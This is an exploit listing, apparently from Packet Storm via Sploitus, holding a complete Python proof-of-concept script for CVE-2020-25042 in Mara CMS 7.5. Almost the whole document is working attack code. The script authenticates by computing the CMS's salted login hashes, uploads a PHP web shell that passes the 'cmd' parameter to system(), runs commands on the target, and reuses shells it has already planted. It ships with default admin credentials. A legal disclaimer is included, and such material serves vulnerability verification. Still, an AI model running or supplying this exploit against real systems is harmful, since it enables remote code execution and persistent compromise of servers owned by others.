Share
## https://sploitus.com/exploit?id=PACKETSTORM:225813
# Exploit Title: Mara CMS 7.5 - Authenticated Arbitrary PHP File Upload to Remote Code Execution
    # Google Dork: N/A
    # Date: 2026-07-13
    # Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
    # Vendor Homepage: https://sourceforge.net/projects/maracms/
    # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
    # Version: 7.5
    # Tested on: Ubuntu 20.04.2 LTS x86_64, Linux 5.4.0-67-generic, Python 3.8+
    # CVE: CVE-2020-25042
    # EDB Reference: EDB-ID 48780 (manual exploitation procedure)
    # PoC: https://github.com/Groppoxx/CVE-2020-25042-PoC
    
    # Description:
    # Mara CMS 7.5 allows an authenticated administrator or manager to upload
    # arbitrary PHP files through codebase/handler.php. An uploaded PHP payload
    # can subsequently be accessed to execute operating-system commands.
    #
    # This Python PoC automates shash extraction, login salt retrieval, Mara CMS
    # authentication hash calculation, authentication, PHP payload upload and
    # command execution. It also supports reusable shells, custom payloads,
    # explicit shell paths, upload-only mode and minimal CLI output.
    
    # Requirements:
    # Python 3.8+
    # requests
    # urllib3
    #
    # Installation:
    # pip install -r requirements.txt
    
    # Usage:
    # python3 cve_2020_25042.py \
    #   --url http://target/cms \
    #   --username admin \
    #   --password changeme \
    #   --cmd whoami
    
    # Legal:
    # For authorized security testing, vulnerability verification and controlled
    # lab environments only. Do not use against systems without explicit permission.
    
    from __future__ import annotations
    
    import argparse
    import base64
    import hashlib
    import random
    import re
    import string
    import sys
    import urllib.parse
    from datetime import datetime, timezone
    
    try:
        import requests
        import urllib3
    except Exception:
        requests = None
        urllib3 = None
    
    
    if urllib3 is not None:
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    RESET = "\033[0m"
    BOLD = "\033[1m"
    DIM = "\033[2m"
    GREEN = "\033[32m"
    CYAN = "\033[36m"
    YELLOW = "\033[33m"
    RED = "\033[31m"
    
    DEFAULT_PAGE = "lorem.php"
    DEFAULT_USERNAME = "admin"
    DEFAULT_PASSWORD = "changeme"
    DEFAULT_CMD = "id"
    DEFAULT_TIMEOUT = 20
    DEFAULT_SHELL_NAME = "mara-poc.php"
    PAYLOAD_MARKER = "MARA_CVE_2020_25042_OK"
    USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
    AJAX_USER_AGENT = "Firefoxy"
    EMPTY_SHA256 = hashlib.sha256(b"").hexdigest()
    
    
    class Console:
        def __init__(
            self,
            only_final: bool = False,
            no_color: bool = False,
            debug_enabled: bool = False,
        ) -> None:
            self.only_final = only_final
            self.no_color = no_color or not sys.stdout.isatty()
            self.debug_enabled = debug_enabled
    
        def color(self, text: str, code: str) -> str:
            if self.no_color:
                return text
            return f"{code}{text}{RESET}"
    
        def log(self, marker: str, message: str, color: str = RESET) -> None:
            if self.only_final:
                return
            ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
            prefix = self.color(f"[{ts}]", DIM)
            print(f"{prefix} {self.color(marker, color)} {message}", flush=True)
    
        def info(self, message: str) -> None:
            self.log("[*]", message, CYAN)
    
        def ok(self, message: str) -> None:
            self.log("[+]", message, GREEN)
    
        def warn(self, message: str) -> None:
            self.log("[!]", message, YELLOW)
    
        def error(self, message: str) -> None:
            self.log("[-]", message, RED)
    
        def debug(self, message: str) -> None:
            if self.debug_enabled:
                self.log("[d]", message, DIM)
    
        def result(self, title: str, content: str) -> None:
            if self.only_final:
                print(content.strip())
                return
            print("")
            print(self.color(f"[+] {title}", BOLD + GREEN))
            print(content.rstrip())
    
    
    console = Console()
    
    
    def log_info(message: str) -> None:
        console.info(message)
    
    
    def log_success(message: str) -> None:
        console.ok(message)
    
    
    def log_warning(message: str) -> None:
        console.warn(message)
    
    
    def log_error(message: str) -> None:
        console.error(message)
    
    
    def sha256_hex(value: str) -> str:
        return hashlib.sha256(value.encode("utf-8")).hexdigest()
    
    
    def b64(value: str) -> str:
        return base64.b64encode(value.encode("utf-8")).decode("ascii")
    
    
    def b64_decode(value: str) -> str:
        return base64.b64decode(value.encode("ascii"), validate=False).decode("utf-8", "ignore")
    
    
    def random_php_name() -> str:
        suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
        return f"mara-poc-{suffix}.php"
    
    
    def ensure_scheme(url: str) -> str:
        if url.startswith(("http://", "https://")):
            return url
        return f"http://{url}"
    
    
    def default_payload() -> str:
        return (
            "<?php\n"
            f'echo "{PAYLOAD_MARKER}\\n";\n'
            'if (isset($_GET["cmd"])) {\n'
            '    system($_GET["cmd"]);\n'
            "}\n"
            "?>\n"
        )
    
    
    class MaraCMSCVE202025042:
        def __init__(
            self,
            base_url: str,
            page: str,
            username: str,
            password: str,
            shell_name: str,
            command: str,
            destdir: str,
            shell_url_path: str | None,
            payload: str,
            timeout: int,
            verify_tls: bool,
            force_upload: bool,
        ) -> None:
            self.base_url = ensure_scheme(base_url).rstrip("/")
            self.page = page.lstrip("/")
            self.username = username
            self.password = password
            self.shell_name = shell_name
            self.command = command
            self.destdir = destdir
            self.shell_url_path = shell_url_path
            self.payload = payload
            self.timeout = timeout
            self.verify_tls = verify_tls
            self.force_upload = force_upload
    
            self.session = requests.Session()
            self.session.headers.update({"User-Agent": USER_AGENT})
            self.shash = ""
            self.nacl = ""
            self.password_hash = ""
            self.salted_password_hash = ""
            self.imgdir = "img/"
            self.last_raw_response = ""
    
        def url(self, path: str) -> str:
            return f"{self.base_url}/{path.lstrip('/')}"
    
        def origin_url(self, path: str) -> str:
            parsed = urllib.parse.urlparse(self.base_url)
            origin = f"{parsed.scheme}://{parsed.netloc}"
            return f"{origin}/{path.lstrip('/')}"
    
        def request(
            self,
            method: str,
            path: str,
            *,
            params: dict[str, str] | None = None,
            data: dict[str, str] | list[tuple[str, str]] | None = None,
            files: dict[str, tuple[str, str, str]] | None = None,
            headers: dict[str, str] | None = None,
            allow_redirects: bool = True,
        ) -> requests.Response:
            target = self.url(path)
            console.debug(f"{method.upper()} {target}")
    
            try:
                response = self.session.request(
                    method=method,
                    url=target,
                    params=params,
                    data=data,
                    files=files,
                    headers=headers,
                    timeout=self.timeout,
                    allow_redirects=allow_redirects,
                    verify=self.verify_tls,
                )
            except requests.RequestException as error:
                log_error(f"Request failed: {error}")
                sys.exit(1)
    
            console.debug(f"HTTP {response.status_code} from {response.url}")
            return response
    
        def ajax_fields(
            self,
            action: str,
            *,
            usr: str = "",
            password_hash: str = "",
            salted_password_hash: str = "",
            authenticated: str = "",
            rawresponse: str = "",
            response: str = "",
            status: str = "Sending Request",
        ) -> dict[str, str]:
            return {
                "usr": b64(usr),
                "hash": b64(password_hash),
                "pwd": b64(salted_password_hash),
                "authenticated": b64(authenticated),
                "action": b64(action),
                "headsection": b64(""),
                "data": b64(""),
                "enccrc": EMPTY_SHA256,
                "crc": b64(""),
                "srcfile": b64(""),
                "destfile": b64(""),
                "rawresponse": b64(rawresponse),
                "response": b64(response),
                "status": b64(status),
                "error": b64(""),
            }
    
        def parse_ajax_response(self, text: str) -> str:
            parts = text.split("~::~")
            if len(parts) < 3 or not parts[1]:
                return ""
            try:
                return b64_decode(parts[1])
            except Exception:
                return ""
    
        def load_login_page(self) -> None:
            log_info("Loading Mara CMS page and collecting session data")
    
            response = self.request(
                "GET",
                self.page,
                params={"login": self.username},
            )
    
            if response.status_code != 200:
                log_error(f"Could not load login page | HTTP {response.status_code}")
                sys.exit(1)
    
            shash_match = re.search(r"shash=['\"]([^'\"]+)['\"]", response.text)
            if not shash_match:
                log_error("Could not find shash in page source")
                sys.exit(1)
    
            imgdir_match = re.search(r"var\s+imgdir=['\"]([^'\"]+)['\"]", response.text)
            if imgdir_match and imgdir_match.group(1):
                self.imgdir = imgdir_match.group(1)
    
            self.shash = shash_match.group(1)
            log_success(f"Found shash: {self.shash}")
            console.debug(f"Image directory: {self.imgdir}")
    
        def get_salt(self) -> None:
            log_info("Requesting login salt")
    
            response = self.request(
                "POST",
                "codebase/handler.php",
                params={"nocache": str(random.random())},
                data=self.ajax_fields("setsalt"),
                headers={
                    "User-Agent": AJAX_USER_AGENT,
                    "Content-Type": "application/x-www-form-urlencoded",
                },
            )
    
            if response.status_code != 200:
                log_error(f"Could not get salt | HTTP {response.status_code}")
                sys.exit(1)
    
            salt = self.parse_ajax_response(response.text)
            if not salt:
                log_error("Could not parse salt from handler response")
                console.debug(response.text[:300].replace("\n", " "))
                sys.exit(1)
    
            self.nacl = salt
            self.last_raw_response = response.text
            log_success(f"Got salt: {self.nacl}")
    
        def login(self) -> None:
            self.load_login_page()
            self.get_salt()
    
            self.password_hash = sha256_hex(f"{self.password}{self.shash}{self.username}")
            self.salted_password_hash = sha256_hex(f"{self.password_hash}{self.nacl}")
    
            log_info(f"Logging in as {self.username}")
    
            response = self.request(
                "POST",
                "codebase/handler.php",
                params={"nocache": str(random.random())},
                data=self.ajax_fields(
                    "login",
                    usr=self.username,
                    password_hash=self.password_hash,
                    salted_password_hash=self.salted_password_hash,
                    rawresponse=self.last_raw_response,
                ),
                headers={
                    "User-Agent": AJAX_USER_AGENT,
                    "Content-Type": "application/x-www-form-urlencoded",
                },
            )
    
            decoded = self.parse_ajax_response(response.text)
            if response.status_code != 200 or not decoded.startswith("OK"):
                log_error("Login failed")
                if decoded:
                    log_error(f"Handler response: {decoded}")
                else:
                    console.debug(response.text[:300].replace("\n", " "))
                sys.exit(1)
    
            log_success(f"Login successful: {decoded}")
    
        def open_upload_form(self) -> None:
            log_info("Opening upload form")
    
            first = self.request("GET", "codebase/dir.php", params={"type": "filenew"})
            if first.status_code != 200:
                log_warning(f"Upload page returned HTTP {first.status_code}")
    
            iframe = self.request(
                "GET",
                "codebase/dir.php",
                params={"iframe": "1", "type": "filenew"},
            )
            if iframe.status_code != 200:
                log_warning(f"Upload iframe returned HTTP {iframe.status_code}")
    
        def upload_shell(self) -> None:
            log_info(f"Uploading PHP payload as {self.shell_name}")
    
            form = [
                ("authenticated", b64("1")),
                ("action", b64("upload")),
                ("MAX_FILE_SIZE", "10485760"),
                ("type", "filenew"),
                ("usr", b64(self.username)),
                ("pwd", b64(self.salted_password_hash)),
                ("authenticated", b64("1")),
                ("destdir", self.destdir),
            ]
    
            files = {
                "files[]": (
                    self.shell_name,
                    self.payload,
                    "application/x-php",
                )
            }
    
            response = self.request(
                "POST",
                "codebase/handler.php",
                data=form,
                files=files,
                headers={"Referer": self.url("codebase/dir.php?type=filenew")},
            )
    
            if response.status_code not in (200, 302):
                log_error(f"Upload failed | HTTP {response.status_code}")
                if response.text:
                    log_error(response.text[:300].replace("\n", " "))
                sys.exit(1)
    
            log_success("Upload request completed")
            console.debug(response.text[:300].replace("\n", " "))
    
        def shell_url(self) -> str:
            if self.shell_url_path:
                parsed = urllib.parse.urlparse(self.shell_url_path)
                if parsed.scheme and parsed.netloc:
                    return self.shell_url_path
                if self.shell_url_path.startswith("/"):
                    return self.origin_url(self.shell_url_path)
                return self.url(self.shell_url_path)
    
            if self.destdir:
                path = self.destdir.strip("/")
            else:
                path = self.imgdir.strip("/")
    
            if path:
                return self.url(f"{path}/{self.shell_name}")
            return self.url(self.shell_name)
    
        def execute_command(self) -> None:
            shell_url = self.shell_url()
            log_success(f"Shell URL: {shell_url}")
            log_info(f"Executing command: {self.command}")
    
            try:
                response = self.session.get(
                    shell_url,
                    params={"cmd": self.command},
                    timeout=self.timeout,
                    verify=self.verify_tls,
                )
            except requests.RequestException as error:
                log_error(f"Command request failed: {error}")
                sys.exit(1)
    
            if response.status_code != 200:
                log_error(f"Command execution failed | HTTP {response.status_code}")
                if response.text:
                    log_error(response.text[:300].replace("\n", " "))
                sys.exit(1)
    
            console.result("Command output", response.text)
    
        def shell_is_reusable(self) -> bool:
            shell_url = self.shell_url()
            log_info(f"Checking existing shell: {shell_url}")
    
            try:
                response = self.session.get(
                    shell_url,
                    params={"cmd": "echo reusable"},
                    timeout=self.timeout,
                    verify=self.verify_tls,
                )
            except requests.RequestException as error:
                console.debug(f"Reusable shell check failed: {error}")
                return False
    
            if response.status_code != 200:
                console.debug(f"Reusable shell check returned HTTP {response.status_code}")
                return False
    
            if PAYLOAD_MARKER not in response.text:
                console.debug("Reusable shell marker was not found")
                return False
    
            log_success("Existing shell is reusable")
            return True
    
        def run(self, execute: bool) -> None:
            if not self.force_upload and self.shell_is_reusable():
                if execute:
                    self.execute_command()
                else:
                    log_success(f"Reusable shell: {self.shell_url()}")
                return
    
            self.login()
            self.open_upload_form()
            self.upload_shell()
    
            if execute:
                self.execute_command()
                return
    
            log_success(f"Uploaded shell: {self.shell_url()}")
    
    
    def read_payload(path: str | None) -> str:
        if not path:
            return default_payload()
    
        try:
            with open(path, "r", encoding="utf-8") as file:
                return file.read()
        except OSError as error:
            log_error(f"Could not read payload file: {error}")
            sys.exit(1)
    
    
    def main() -> None:
        parser = argparse.ArgumentParser(
            description="CVE-2020-25042 Mara CMS 7.5 authenticated arbitrary PHP upload PoC"
        )
    
        parser.add_argument(
            "--url",
            required=True,
            help="Mara CMS base URL. Example: http://target/cms",
        )
        parser.add_argument(
            "--page",
            default=DEFAULT_PAGE,
            help=f"Existing CMS page used for login bootstrap. Default: {DEFAULT_PAGE}",
        )
        parser.add_argument(
            "--username",
            default=DEFAULT_USERNAME,
            help=f"CMS username. Default: {DEFAULT_USERNAME}",
        )
        parser.add_argument(
            "--password",
            default=DEFAULT_PASSWORD,
            help=f"CMS password. Default: {DEFAULT_PASSWORD}",
        )
        parser.add_argument(
            "--shell-name",
            default=DEFAULT_SHELL_NAME,
            help=f"Name for uploaded PHP file. Default: {DEFAULT_SHELL_NAME}",
        )
        parser.add_argument(
            "--cmd",
            default=DEFAULT_CMD,
            help=f"Command to run after upload. Default: {DEFAULT_CMD}",
        )
        parser.add_argument(
            "--destdir",
            default="",
            help="Raw upload destdir form value. Default leaves Mara CMS using img/",
        )
        parser.add_argument(
            "--shell-url-path",
            help="Override shell URL/path if the file is exposed outside img/. Example: /cms/webshell.php",
        )
        parser.add_argument(
            "--payload-file",
            help="Custom PHP payload file to upload. Default payload runs commands from ?cmd=",
        )
        parser.add_argument(
            "--upload-only",
            action="store_true",
            help="Upload payload but do not execute --cmd",
        )
        parser.add_argument(
            "--force-upload",
            action="store_true",
            help="Always login and upload the payload, even if a reusable shell exists",
        )
        parser.add_argument(
            "--timeout",
            type=int,
            default=DEFAULT_TIMEOUT,
            help=f"HTTP timeout in seconds. Default: {DEFAULT_TIMEOUT}",
        )
        parser.add_argument(
            "--verify-tls",
            action="store_true",
            help="Verify TLS certificates",
        )
        parser.add_argument(
            "--only-final",
            action="store_true",
            help="Hide progress logs and print only command output",
        )
        parser.add_argument(
            "--no-color",
            action="store_true",
            help="Disable ANSI colors",
        )
        parser.add_argument(
            "--debug",
            action="store_true",
            help="Show request URLs and handler snippets",
        )
    
        args = parser.parse_args()
    
        global console
        console = Console(
            only_final=args.only_final,
            no_color=args.no_color,
            debug_enabled=args.debug,
        )
    
        if requests is None:
            log_error("Missing dependency: requests. Install it with: pip install requests")
            sys.exit(2)
    
        if not args.shell_name.endswith(".php"):
            log_error("--shell-name must end with .php")
            sys.exit(1)
    
        exploit = MaraCMSCVE202025042(
            base_url=args.url,
            page=args.page,
            username=args.username,
            password=args.password,
            shell_name=args.shell_name,
            command=args.cmd,
            destdir=args.destdir,
            shell_url_path=args.shell_url_path,
            payload=read_payload(args.payload_file),
            timeout=args.timeout,
            verify_tls=args.verify_tls,
            force_upload=args.force_upload,
        )
    
        exploit.run(execute=not args.upload_only)
    
    
    if __name__ == "__main__":
        main()